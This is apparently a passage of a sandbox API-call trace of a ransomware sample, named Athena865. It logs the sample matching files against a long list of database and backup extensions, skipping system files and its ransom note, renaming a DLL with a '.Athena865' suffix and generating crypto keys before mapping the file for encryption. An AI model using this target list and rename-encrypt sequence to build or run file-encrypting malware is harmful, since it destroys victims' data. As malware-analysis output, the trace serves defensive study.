lpString2="mdb") returned -1 [0048.171] lstrlenW (lpString="sql") returned 3 [0048.171] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0048.171] lstrlenW (lpString="sqlite") returned 6 [0048.171] lstrcmpiW (lpString1="op.dll", lpString2="sqlite") returned -1 [0048.171] lstrlenW (lpString="sqlite3") returned 7 [0048.171] lstrcmpiW (lpString1="rop.dll", lpString2="sqlite3") returned -1 [0048.171] lstrlenW (lpString="sqlitedb") returned 8 [0048.171] lstrcmpiW (lpString1="drop.dll", lpString2="sqlitedb") returned -1 [0048.171] lstrlenW (lpString="xml") returned 3 [0048.171] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0048.171] lstrlenW (lpString="$er") returned 3 [0048.171] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0048.171] lstrlenW (lpString="4dd") returned 3 [0048.171] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0048.171] lstrlenW (lpString="4dl") returned 3 [0048.171] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0048.171] lstrlenW (lpString="^^^") returned 3 [0048.171] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0048.171] lstrlenW (lpString="abs") returned 3 [0048.171] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0048.171] lstrlenW (lpString="abx") returned 3 [0048.171] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0048.172] lstrlenW (lpString="accdb") returned 5 [0048.172] lstrcmpiW (lpString1="p.dll", lpString2="accdb") returned 1 [0048.172] lstrlenW (lpString="accdc") returned 5 [0048.172] lstrcmpiW (lpString1="p.dll", lpString2="accdc") returned 1 [0048.172] lstrlenW (lpString="accde") returned 5 [0048.172] lstrcmpiW (lpString1="p.dll", lpString2="accde") returned 1 [0048.172] lstrlenW (lpString="accdr") returned 5 [0048.172] lstrcmpiW (lpString1="p.dll", lpString2="accdr") returned 1 [0048.172] lstrlenW (lpString="accdt") returned 5 [0048.172] lstrcmpiW (lpString1="p.dll", lpString2="accdt") returned 1 [0048.172] lstrlenW (lpString="accdw") returned 5 [0048.172] lstrcmpiW (lpString1="p.dll", lpString2="accdw") returned 1 [0048.172] lstrlenW (lpString="accft") returned 5 [0048.172] lstrcmpiW (lpString1="p.dll", lpString2="accft") returned 1 [0048.172] lstrlenW (lpString="adb") returned 3 [0048.172] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0048.172] lstrlenW (lpString="adb") returned 3 [0048.172] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0048.172] lstrlenW (lpString="ade") returned 3 [0048.172] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0048.172] lstrlenW (lpString="adf") returned 3 [0048.172] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0048.172] lstrlenW (lpString="adn") returned 3 [0048.172] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0048.172] lstrlenW (lpString="adp") returned 3 [0048.172] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0048.172] lstrlenW (lpString="alf") returned 3 [0048.172] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0048.172] lstrlenW (lpString="ask") returned 3 [0048.172] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0048.172] lstrlenW (lpString="btr") returned 3 [0048.172] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0048.172] lstrlenW (lpString="cat") returned 3 [0048.172] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0048.172] lstrlenW (lpString="cdb") returned 3 [0048.172] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0048.172] lstrlenW (lpString="ckp") returned 3 [0048.172] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0048.173] lstrlenW (lpString="cma") returned 3 [0048.173] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0048.173] lstrlenW (lpString="cpd") returned 3 [0048.173] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0048.173] lstrlenW (lpString="dacpac") returned 6 [0048.173] lstrcmpiW (lpString1="op.dll", lpString2="dacpac") returned 1 [0048.173] lstrlenW (lpString="dad") returned 3 [0048.173] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0048.173] lstrlenW (lpString="dadiagrams") returned 10 [0048.173] lstrlenW (lpString="daschema") returned 8 [0048.173] lstrcmpiW (lpString1="drop.dll", lpString2="daschema") returned 1 [0048.173] lstrlenW (lpString="db-journal") returned 10 [0048.173] lstrlenW (lpString="db-shm") returned 6 [0048.173] lstrcmpiW (lpString1="op.dll", lpString2="db-shm") returned 1 [0048.173] lstrlenW (lpString="db-wal") returned 6 [0048.173] lstrcmpiW (lpString1="op.dll", lpString2="db-wal") returned 1 [0048.173] lstrlenW (lpString="dbc") returned 3 [0048.173] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0048.173] lstrlenW (lpString="dbs") returned 3 [0048.173] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0048.173] lstrlenW (lpString="dbt") returned 3 [0048.173] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0048.173] lstrlenW (lpString="dbv") returned 3 [0048.173] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0048.173] lstrlenW (lpString="dbx") returned 3 [0048.173] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0048.173] lstrlenW (lpString="dcb") returned 3 [0048.173] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0048.173] lstrlenW (lpString="dct") returned 3 [0048.173] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0048.173] lstrlenW (lpString="dcx") returned 3 [0048.173] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0048.173] lstrlenW (lpString="ddl") returned 3 [0048.173] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0048.173] lstrlenW (lpString="dlis") returned 4 [0048.173] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0048.173] lstrlenW (lpString="dp1") returned 3 [0048.173] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0048.174] lstrlenW (lpString="dqy") returned 3 [0048.174] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0048.174] lstrlenW (lpString="dsk") returned 3 [0048.174] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0048.174] lstrlenW (lpString="dsn") returned 3 [0048.174] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0048.174] lstrlenW (lpString="dtsx") returned 4 [0048.174] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0048.174] lstrlenW (lpString="dxl") returned 3 [0048.174] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0048.174] lstrlenW (lpString="eco") returned 3 [0048.174] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0048.174] lstrlenW (lpString="ecx") returned 3 [0048.174] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0048.174] lstrlenW (lpString="edb") returned 3 [0048.174] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0048.174] lstrlenW (lpString="epim") returned 4 [0048.174] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0048.174] lstrlenW (lpString="fcd") returned 3 [0048.174] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0048.174] lstrlenW (lpString="fdb") returned 3 [0048.174] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0048.174] lstrlenW (lpString="fic") returned 3 [0048.174] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0048.174] lstrlenW (lpString="flexolibrary") returned 12 [0048.174] lstrlenW (lpString="fm5") returned 3 [0048.174] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0048.174] lstrlenW (lpString="fmp") returned 3 [0048.174] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0048.174] lstrlenW (lpString="fmp12") returned 5 [0048.174] lstrcmpiW (lpString1="p.dll", lpString2="fmp12") returned 1 [0048.174] lstrlenW (lpString="fmpsl") returned 5 [0048.174] lstrcmpiW (lpString1="p.dll", lpString2="fmpsl") returned 1 [0048.174] lstrlenW (lpString="fol") returned 3 [0048.174] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0048.174] lstrlenW (lpString="fp3") returned 3 [0048.175] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0048.175] lstrlenW (lpString="fp4") returned 3 [0048.175] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0048.175] lstrlenW (lpString="fp5") returned 3 [0048.175] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0048.175] lstrlenW (lpString="fp7") returned 3 [0048.175] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0048.175] lstrlenW (lpString="fpt") returned 3 [0048.175] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0048.175] lstrlenW (lpString="frm") returned 3 [0048.175] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0048.175] lstrlenW (lpString="gdb") returned 3 [0048.175] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0048.175] lstrlenW (lpString="gdb") returned 3 [0048.175] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0048.175] lstrlenW (lpString="grdb") returned 4 [0048.175] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0048.175] lstrlenW (lpString="gwi") returned 3 [0048.175] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0048.175] lstrlenW (lpString="hdb") returned 3 [0048.175] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0048.175] lstrlenW (lpString="his") returned 3 [0048.175] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0048.175] lstrlenW (lpString="ib") returned 2 [0048.175] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0048.175] lstrlenW (lpString="idb") returned 3 [0048.175] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0048.175] lstrlenW (lpString="ihx") returned 3 [0048.175] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0048.175] lstrlenW (lpString="itdb") returned 4 [0048.175] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0048.175] lstrlenW (lpString="itw") returned 3 [0048.175] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0048.175] lstrlenW (lpString="jet") returned 3 [0048.175] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0048.176] lstrlenW (lpString="jtx") returned 3 [0048.176] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0048.176] lstrlenW (lpString="kdb") returned 3 [0048.176] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0048.176] lstrlenW (lpString="kexi") returned 4 [0048.176] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0048.176] lstrlenW (lpString="kexic") returned 5 [0048.176] lstrcmpiW (lpString1="p.dll", lpString2="kexic") returned 1 [0048.176] lstrlenW (lpString="kexis") returned 5 [0048.176] lstrcmpiW (lpString1="p.dll", lpString2="kexis") returned 1 [0048.176] lstrlenW (lpString="lgc") returned 3 [0048.176] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0048.176] lstrlenW (lpString="lwx") returned 3 [0048.176] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0048.176] lstrlenW (lpString="maf") returned 3 [0048.176] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0048.176] lstrlenW (lpString="maq") returned 3 [0048.176] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0048.176] lstrlenW (lpString="mar") returned 3 [0048.176] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0048.176] lstrlenW (lpString="marshal") returned 7 [0048.176] lstrcmpiW (lpString1="rop.dll", lpString2="marshal") returned 1 [0048.176] lstrlenW (lpString="mas") returned 3 [0048.176] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0048.176] lstrlenW (lpString="mav") returned 3 [0048.176] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0048.176] lstrlenW (lpString="maw") returned 3 [0048.176] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0048.176] lstrlenW (lpString="mdbhtml") returned 7 [0048.176] lstrcmpiW (lpString1="rop.dll", lpString2="mdbhtml") returned 1 [0048.176] lstrlenW (lpString="mdn") returned 3 [0048.176] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0048.176] lstrlenW (lpString="mdt") returned 3 [0048.176] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0048.176] lstrlenW (lpString="mfd") returned 3 [0048.176] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0048.176] lstrlenW (lpString="mpd") returned 3 [0048.177] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0048.177] lstrlenW (lpString="mrg") returned 3 [0048.177] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0048.177] lstrlenW (lpString="mud") returned 3 [0048.177] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0048.177] lstrlenW (lpString="mwb") returned 3 [0048.177] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0048.177] lstrlenW (lpString="myd") returned 3 [0048.177] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0048.177] lstrlenW (lpString="ndf") returned 3 [0048.177] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0048.177] lstrlenW (lpString="nnt") returned 3 [0048.177] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0048.177] lstrlenW (lpString="nrmlib") returned 6 [0048.177] lstrcmpiW (lpString1="op.dll", lpString2="nrmlib") returned 1 [0048.177] lstrlenW (lpString="ns2") returned 3 [0048.177] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0048.177] lstrlenW (lpString="ns3") returned 3 [0048.177] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0048.177] lstrlenW (lpString="ns4") returned 3 [0048.177] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0048.177] lstrlenW (lpString="nsf") returned 3 [0048.177] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0048.177] lstrlenW (lpString="nv") returned 2 [0048.177] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0048.177] lstrlenW (lpString="nv2") returned 3 [0048.177] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0048.177] lstrlenW (lpString="nwdb") returned 4 [0048.177] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0048.177] lstrlenW (lpString="nyf") returned 3 [0048.177] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0048.177] lstrlenW (lpString="odb") returned 3 [0048.177] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0048.177] lstrlenW (lpString="odb") returned 3 [0048.177] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0048.177] lstrlenW (lpString="oqy") returned 3 [0048.177] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0048.177] lstrlenW (lpString="ora") returned 3 [0048.177] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0048.178] lstrlenW (lpString="orx") returned 3 [0048.178] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0048.178] lstrlenW (lpString="owc") returned 3 [0048.178] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0048.178] lstrlenW (lpString="p96") returned 3 [0048.178] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0048.178] lstrlenW (lpString="p97") returned 3 [0048.178] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0048.178] lstrlenW (lpString="pan") returned 3 [0048.178] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0048.178] lstrlenW (lpString="pdb") returned 3 [0048.178] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0048.178] lstrlenW (lpString="pdm") returned 3 [0048.178] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0048.178] lstrlenW (lpString="pnz") returned 3 [0048.178] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0048.178] lstrlenW (lpString="qry") returned 3 [0048.178] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0048.178] lstrlenW (lpString="qvd") returned 3 [0048.178] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0048.178] lstrlenW (lpString="rbf") returned 3 [0048.178] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0048.178] lstrlenW (lpString="rctd") returned 4 [0048.178] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0048.178] lstrlenW (lpString="rod") returned 3 [0048.178] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0048.178] lstrlenW (lpString="rodx") returned 4 [0048.178] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0048.178] lstrlenW (lpString="rpd") returned 3 [0048.178] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0048.178] lstrlenW (lpString="rsd") returned 3 [0048.178] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0048.178] lstrlenW (lpString="sas7bdat") returned 8 [0048.178] lstrcmpiW (lpString1="drop.dll", lpString2="sas7bdat") returned -1 [0048.178] lstrlenW (lpString="sbf") returned 3 [0048.178] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0048.179] lstrlenW (lpString="scx") returned 3 [0048.179] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0048.179] lstrlenW (lpString="sdb") returned 3 [0048.179] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0048.179] lstrlenW (lpString="sdc") returned 3 [0048.179] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0048.179] lstrlenW (lpString="sdf") returned 3 [0048.179] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0048.179] lstrlenW (lpString="sis") returned 3 [0048.179] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0048.179] lstrlenW (lpString="spq") returned 3 [0048.179] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0048.179] lstrlenW (lpString="te") returned 2 [0048.179] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0048.179] lstrlenW (lpString="teacher") returned 7 [0048.179] lstrcmpiW (lpString1="rop.dll", lpString2="teacher") returned -1 [0048.179] lstrlenW (lpString="tmd") returned 3 [0048.179] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0048.179] lstrlenW (lpString="tps") returned 3 [0048.179] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0048.179] lstrlenW (lpString="trc") returned 3 [0048.179] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0048.179] lstrlenW (lpString="trc") returned 3 [0048.179] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0048.179] lstrlenW (lpString="trm") returned 3 [0048.179] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0048.179] lstrlenW (lpString="udb") returned 3 [0048.179] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0048.179] lstrlenW (lpString="udl") returned 3 [0048.179] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0048.179] lstrlenW (lpString="usr") returned 3 [0048.179] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0048.179] lstrlenW (lpString="v12") returned 3 [0048.179] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0048.179] lstrlenW (lpString="vis") returned 3 [0048.179] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0048.180] lstrlenW (lpString="vpd") returned 3 [0048.180] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0048.180] lstrlenW (lpString="vvv") returned 3 [0048.180] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0048.180] lstrlenW (lpString="wdb") returned 3 [0048.180] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0048.180] lstrlenW (lpString="wmdb") returned 4 [0048.180] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0048.180] lstrlenW (lpString="wrk") returned 3 [0048.180] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0048.180] lstrlenW (lpString="xdb") returned 3 [0048.180] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0048.180] lstrlenW (lpString="xld") returned 3 [0048.180] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0048.180] lstrlenW (lpString="xmlff") returned 5 [0048.180] lstrcmpiW (lpString1="p.dll", lpString2="xmlff") returned -1 [0048.180] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll.Athena865") returned 59 [0048.180] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll" (normalized: "c:\\program files (x86)\\windows sidebar\\sbdrop.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll.Athena865" (normalized: "c:\\program files (x86)\\windows sidebar\\sbdrop.dll.athena865"), dwFlags=0x1) returned 1 [0048.181] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll.Athena865" (normalized: "c:\\program files (x86)\\windows sidebar\\sbdrop.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.181] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=82944) returned 1 [0048.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.182] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0048.182] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.182] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.182] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.182] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.183] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14700, lpName=0x0) returned 0x154 [0048.185] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14700) returned 0x100000 [0048.189] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.190] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.190] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0048.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0048.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x524fa0 [0048.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x524fa0 | out: hHeap=0x4f0000) returned 1 [0048.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.191] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.192] CloseHandle (hObject=0x154) returned 1 [0048.192] CloseHandle (hObject=0x17c) returned 1 [0048.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0048.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.192] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81351db4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c393c21, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c393c21, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="settings.ini", cAlternateFileName="")) returned 1 [0048.192] lstrcmpiW (lpString1="settings.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.192] lstrcmpiW (lpString1="settings.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.193] lstrcmpiW (lpString1="settings.ini", lpString2=".") returned 1 [0048.193] lstrcmpiW (lpString1="settings.ini", lpString2="..") returned 1 [0048.193] lstrcmpiW (lpString1="settings.ini", lpString2="windows") returned -1 [0048.193] lstrcmpiW (lpString1="settings.ini", lpString2="bootmgr") returned 1 [0048.193] lstrcmpiW (lpString1="settings.ini", lpString2="temp") returned -1 [0048.193] lstrcmpiW (lpString1="settings.ini", lpString2="pagefile.sys") returned 1 [0048.193] lstrcmpiW (lpString1="settings.ini", lpString2="boot") returned 1 [0048.193] lstrcmpiW (lpString1="settings.ini", lpString2="ids.txt") returned 1 [0048.193] lstrcmpiW (lpString1="settings.ini", lpString2="ntuser.dat") returned 1 [0048.193] lstrcmpiW (lpString1="settings.ini", lpString2="perflogs") returned 1 [0048.193] lstrcmpiW (lpString1="settings.ini", lpString2="MSBuild") returned 1 [0048.193] lstrlenW (lpString="settings.ini") returned 12 [0048.193] lstrcpyW (in: lpString1=0x241e896, lpString2="settings.ini" | out: lpString1="settings.ini") returned="settings.ini" [0048.193] lstrlenW (lpString="settings.ini") returned 12 [0048.193] lstrlenW (lpString="Athena865") returned 9 [0048.193] lstrcmpiW (lpString1="tings.ini", lpString2="Athena865") returned 1 [0048.193] lstrlenW (lpString=".dll") returned 4 [0048.193] lstrcmpiW (lpString1="settings.ini", lpString2=".dll") returned 1 [0048.193] lstrlenW (lpString=".lnk") returned 4 [0048.193] lstrcmpiW (lpString1="settings.ini", lpString2=".lnk") returned 1 [0048.193] lstrlenW (lpString=".ini") returned 4 [0048.193] lstrcmpiW (lpString1="settings.ini", lpString2=".ini") returned 1 [0048.193] lstrlenW (lpString=".sys") returned 4 [0048.193] lstrcmpiW (lpString1="settings.ini", lpString2=".sys") returned 1 [0048.193] lstrlenW (lpString="settings.ini") returned 12 [0048.193] lstrlenW (lpString="bak") returned 3 [0048.193] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0048.193] lstrlenW (lpString="ba_") returned 3 [0048.193] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0048.193] lstrlenW (lpString="dbb") returned 3 [0048.193] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0048.193] lstrlenW (lpString="vmdk") returned 4 [0048.193] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0048.193] lstrlenW (lpString="rar") returned 3 [0048.193] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0048.193] lstrlenW (lpString="zip") returned 3 [0048.193] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0048.194] lstrlenW (lpString="tgz") returned 3 [0048.194] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0048.194] lstrlenW (lpString="vbox") returned 4 [0048.194] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0048.194] lstrlenW (lpString="vdi") returned 3 [0048.194] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0048.194] lstrlenW (lpString="vhd") returned 3 [0048.194] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0048.194] lstrlenW (lpString="vhdx") returned 4 [0048.194] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0048.194] lstrlenW (lpString="avhd") returned 4 [0048.194] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0048.194] lstrlenW (lpString="db") returned 2 [0048.194] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0048.194] lstrlenW (lpString="db2") returned 3 [0048.194] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0048.194] lstrlenW (lpString="db3") returned 3 [0048.194] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0048.194] 